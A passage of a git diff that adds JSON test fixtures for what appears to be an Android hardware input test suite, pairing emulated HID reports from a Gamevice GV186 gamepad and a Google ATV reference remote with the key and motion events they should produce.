+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_LB",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_RB",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L2",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L2"},
+      {"action": "UP", "keycode": "BUTTON_L2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R2",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R2"},
+      {"action": "UP", "keycode": "BUTTON_R2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_THUMBL",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_THUMBR",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_SELECT (left arrow)",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+      {"action": "UP", "keycode": "BUTTON_SELECT"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_START",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_START"},
+      {"action": "UP", "keycode": "BUTTON_START"}
+    ]
+  },
+
+  {
+    "name": "Press bottom MODE button (looks like [|])",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | GAMEPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_MODE"},
+      {"action": "UP", "keycode": "BUTTON_MODE"}
+    ]
+  }
+
+]
diff --git a/tests/tests/hardware/res/raw/gamevice_gv186_motioneventtests.json b/tests/tests/hardware/res/raw/gamevice_gv186_motioneventtests.json
new file mode 100755
index 0000000..81ca51f
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamevice_gv186_motioneventtests.json
@@ -0,0 +1,216 @@
+[
+  {
+    // This device produces a MOVE with coordinates in generic axes due to the HID usage
+    // mapping of HAT1X/HAT1Y by kernel.
+    "name": "Initial check - Ignore move event.",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {}}
+    ]
+  },
+
+  {
+    "name": "Press left DPAD key",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x01, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press right DPAD key",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0xff, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Press up DPAD key",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Press down DPAD key",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_HAT_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press left",
+    "reports": [
+      [0xc0, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x80, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": -1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press right",
+    "reports": [
+      [0x3f, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x7f, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_X": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_X": 1}},
+      {"action": "MOVE", "axes": {"AXIS_X": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press up",
+    "reports": [
+      [0x00, 0xc0, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x80, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Left stick - press down",
+    "reports": [
+      [0x00, 0x3f, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x7f, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Y": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Y": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press left",
+    "reports": [
+      [0x00, 0x00, 0xc0, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x80, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": -1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press right",
+    "reports": [
+      [0x00, 0x00, 0x3f, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x7f, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 1}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press up",
+    "reports": [
+      [0x00, 0x00, 0x00, 0xc0, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press down",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x3f, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x7f, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.5}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 1}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0}}
+    ]
+  },
+
+  {
+    "name": "Left trigger - quick press",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 0.5, "AXIS_BRAKE": 0.5}},
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
+      {"action": "MOVE", "axes": { "AXIS_LTRIGGER": 0.0, "AXIS_BRAKE": 0.0}}
+    ]
+  },
+
+  {
+    "name": "Right trigger - quick press",
+    "reports": [
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x7f, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0xff, 0x00],
+      [0x00, 0x00, 0x00, 0x00, 0x80, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "JOYSTICK",
+    "events": [
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 0.5, "AXIS_GAS": 0.5}},
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
+      {"action": "MOVE", "axes": { "AXIS_RTRIGGER": 0.0, "AXIS_GAS": 0.0}}
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/gamevice_gv186_register.json b/tests/tests/hardware/res/raw/gamevice_gv186_register.json
new file mode 100755
index 0000000..53089ac
--- /dev/null
+++ b/tests/tests/hardware/res/raw/gamevice_gv186_register.json
@@ -0,0 +1,22 @@
+{
+  "id": 1,
+  "command": "register",
+  "name": "GAMEVICE Controller for Google Pixel-GV186 (Test)",
+  "vid": 0x27f8,
+  "pid": 0x0bbe,
+  "bus": "bluetooth",
+  "source": "KEYBOARD | GAMEPAD | JOYSTICK",
+  "descriptor": [0x05, 0x01, 0x09, 0x05, 0xa1, 0x01, 0xa1, 0x02, 0x15, 0x81, 0x25, 0x7f, 0x05,
+    0x01, 0x09, 0x01, 0xa1, 0x00, 0x75, 0x08, 0x95, 0x04, 0x35, 0x00, 0x46, 0xff, 0x00, 0x09,
+    0x30, 0x09, 0x31, 0x09, 0x32, 0x09, 0x35, 0x81, 0x02, 0x75, 0x08, 0x95, 0x02, 0x15, 0x01,
+    0x26, 0xff, 0x00, 0x09, 0x39, 0x09, 0x39, 0x81, 0x02, 0xc0, 0x05, 0x07, 0x19, 0x4f, 0x29,
+    0x52, 0x15, 0x00, 0x25, 0x01, 0x75, 0x01, 0x95, 0x04, 0x81, 0x02, 0x05, 0x01, 0x09, 0x90,
+    0x09, 0x91, 0x09, 0x92, 0x09, 0x93, 0x75, 0x01, 0x95, 0x04, 0x81, 0x02, 0x75, 0x01, 0x95,
+    0x10, 0x05, 0x09, 0x19, 0x01, 0x29, 0x10, 0x81, 0x02, 0x06, 0x02, 0xff, 0x09, 0x01, 0xa1,
+    0x01, 0x15, 0x00, 0x25, 0x01, 0x09, 0x04, 0x75, 0x01, 0x95, 0x01, 0x81, 0x02, 0xc0, 0x05,
+    0x0c, 0x09, 0x01, 0xa1, 0x01, 0x15, 0x00, 0x25, 0x01, 0x0a, 0x24, 0x02, 0x75, 0x01, 0x95,
+    0x01, 0x81, 0x06, 0xc0, 0x75, 0x01, 0x95, 0x06, 0x81, 0x03, 0x15, 0x00, 0x25, 0xff, 0x05,
+    0x02, 0x09, 0x01, 0xa1, 0x00, 0x75, 0x08, 0x95, 0x02, 0x35, 0x00, 0x45, 0xff, 0x09, 0xc4,
+    0x09, 0xc5, 0x81, 0x02, 0xc0, 0x06, 0x00, 0xff, 0x09, 0x80, 0x75, 0x08, 0x95, 0x08, 0x15,
+    0x00, 0x26, 0xff, 0x00, 0xb1, 0x02, 0xc0, 0xc0]
+}
diff --git a/tests/tests/hardware/res/raw/google_atvreferenceremote_homekey.json b/tests/tests/hardware/res/raw/google_atvreferenceremote_homekey.json
new file mode 100644
index 0000000..b08c41c
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_atvreferenceremote_homekey.json
@@ -0,0 +1,11 @@
+[
+  {
+    "name": "Press HOME",
+    "reports": [
+      [0x02, 0x23, 0x02],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "events": [
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/google_atvreferenceremote_keyeventtests.json b/tests/tests/hardware/res/raw/google_atvreferenceremote_keyeventtests.json
new file mode 100644
index 0000000..6f28c0d
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_atvreferenceremote_keyeventtests.json
@@ -0,0 +1,326 @@
+[
+  {
+    "name": "Press 1",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x1e, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_1"},
+      {"action": "UP", "keycode": "KEYCODE_1"}
+    ]
+  },
+  {
+    "name": "Press 2",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_2"},
+      {"action": "UP", "keycode": "KEYCODE_2"}
+    ]
+  },
+  {
+    "name": "Press 3",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_3"},
+      {"action": "UP", "keycode": "KEYCODE_3"}
+    ]
+  },
+  {
+    "name": "Press 4",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_4"},
+      {"action": "UP", "keycode": "KEYCODE_4"}
+    ]
+  },
+  {
+    "name": "Press 5",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_5"},
+      {"action": "UP", "keycode": "KEYCODE_5"}
+    ]
+  },
+  {
+    "name": "Press 6",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x23, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_6"},
+      {"action": "UP", "keycode": "KEYCODE_6"}
+    ]
+  },
+  {
+    "name": "Press 7",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x24, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_7"},
+      {"action": "UP", "keycode": "KEYCODE_7"}
+    ]
+  },
+  {
+    "name": "Press 8",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x25, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_8"},
+      {"action": "UP", "keycode": "KEYCODE_8"}
+    ]
+  },
+  {
+    "name": "Press 9",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_9"},
+      {"action": "UP", "keycode": "KEYCODE_9"}
+    ]
+  },
+  {
+    "name": "Press 0",
+    "reports": [
+      [0x01, 0x00, 0x00, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "KEYCODE_0"},
+      {"action": "UP", "keycode": "KEYCODE_0"}
+    ]
+  },
+  {
+    "name": "Press Subtitles",
+    "reports": [
+      [0x02, 0x61, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "CAPTIONS"},
+      {"action": "UP", "keycode": "CAPTIONS"}
+    ]
+  },
+  {
+    "name": "Press Red",
+    "reports": [
+      [0x02, 0x69, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "PROG_RED"},
+      {"action": "UP", "keycode": "PROG_RED"}
+    ]
+  },
+  {
+    "name": "Press Green",
+    "reports": [
+      [0x02, 0x6a, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "PROG_GREEN"},
+      {"action": "UP", "keycode": "PROG_GREEN"}
+    ]
+  },
+  {
+    "name": "Press Yellow",
+    "reports": [
+      [0x02, 0x6c, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "PROG_YELLOW"},
+      {"action": "UP", "keycode": "PROG_YELLOW"}
+    ]
+  },
+  {
+    "name": "Press Blue",
+    "reports": [
+      [0x02, 0x6b, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "PROG_BLUE"},
+      {"action": "UP", "keycode": "PROG_BLUE"}
+    ]
+  },
+  {
+    "name": "Press Bookmark",
+    "reports": [
+      [0x02, 0x2a, 0x02, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BOOKMARK"},
+      {"action": "UP", "keycode": "BOOKMARK"}
+    ]
+  },
+  {
+    "name": "Press Info",
+    "reports": [
+      [0x02, 0xbd, 0x01, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "INFO"},
+      {"action": "UP", "keycode": "INFO"}
+    ]
+  },
+  {
+    "name": "Press Input",
+    "reports": [
+      [0x02, 0xbb, 0x01, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "TV_INPUT"},
+      {"action": "UP", "keycode": "TV_INPUT"}
+    ]
+  },
+  {
+    "name": "Press D-pad up",
+    "reports": [
+      [0x02, 0x42, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "DPAD_UP"},
+      {"action": "UP", "keycode": "DPAD_UP"}
+    ]
+  },
+  {
+    "name": "Press D-pad left",
+    "reports": [
+      [0x02, 0x44, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "DPAD_LEFT"},
+      {"action": "UP", "keycode": "DPAD_LEFT"}
+    ]
+  },
+  {
+    "name": "Press D-pad right",
+    "reports": [
+      [0x02, 0x45, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "DPAD_RIGHT"},
+      {"action": "UP", "keycode": "DPAD_RIGHT"}
+    ]
+  },
+  {
+    "name": "Press D-pad down",
+    "reports": [
+      [0x02, 0x43, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "DPAD_DOWN"},
+      {"action": "UP", "keycode": "DPAD_DOWN"}
+    ]
+  },
+  {
+    "name": "Press D-pad center",
+    "reports": [
+      [0x02, 0x41, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "DPAD_CENTER"},
+      {"action": "UP", "keycode": "DPAD_CENTER"}
+    ]
+  },
+  {
+    "name": "Press Back",
+    "reports": [
+      [0x02, 0x24, 0x02],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "BACK"},
+      {"action": "UP", "keycode": "BACK"}
+    ]
+  },
+  {
+    "name": "Press Guide",
+    "reports": [
+      [0x02, 0x8d, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "GUIDE"},
+      {"action": "UP", "keycode": "GUIDE"}
+    ]
+  },
+  {
+    "name": "Press Program +",
+    "reports": [
+      [0x02, 0x9c, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "CHANNEL_UP"},
+      {"action": "UP", "keycode": "CHANNEL_UP"}
+    ]
+  },
+  {
+    "name": "Press Program -",
+    "reports": [
+      [0x02, 0x9d, 0x00, 0x00, 0x00],
+      [0x02, 0x00, 0x00, 0x00, 0x00]
+    ],
+    "source": "KEYBOARD | DPAD",
+    "events": [
+      {"action": "DOWN", "keycode": "CHANNEL_DOWN"},
+      {"action": "UP", "keycode": "CHANNEL_DOWN"}
+    ]
+  }
+]
diff --git a/tests/tests/hardware/res/raw/google_atvreferenceremote_register.json b/tests/tests/hardware/res/raw/google_atvreferenceremote_register.json
new file mode 100755
index 0000000..db03a72
--- /dev/null
+++ b/tests/tests/hardware/res/raw/google_atvreferenceremote_register.json
@@ -0,0 +1,17 @@
+{
+  "id": 1,
+  "command": "register",
+  "name": "Google ATV Reference Remote Control (Test)",
+  "vid": 0x0957,
+  "pid": 0x0001,
+  "bus": "bluetooth",
+  "source": "KEYBOARD",
+  "descriptor": [
+    0x05, 0x01, 0x09, 0x06, 0xa1, 0x01, 0x85, 0x01, 0x05, 0x07, 0x19, 0xe0, 0x29, 0xe7, 0x15, 0x00,
+    0x25, 0x01, 0x75, 0x01, 0x95, 0x08, 0x81, 0x02, 0x95, 0x01, 0x75, 0x08, 0x81, 0x01, 0x95, 0x05,
+    0x75, 0x01, 0x05, 0x08, 0x19, 0x01, 0x29, 0x05, 0x91, 0x02, 0x95, 0x01, 0x75, 0x03, 0x91, 0x01,
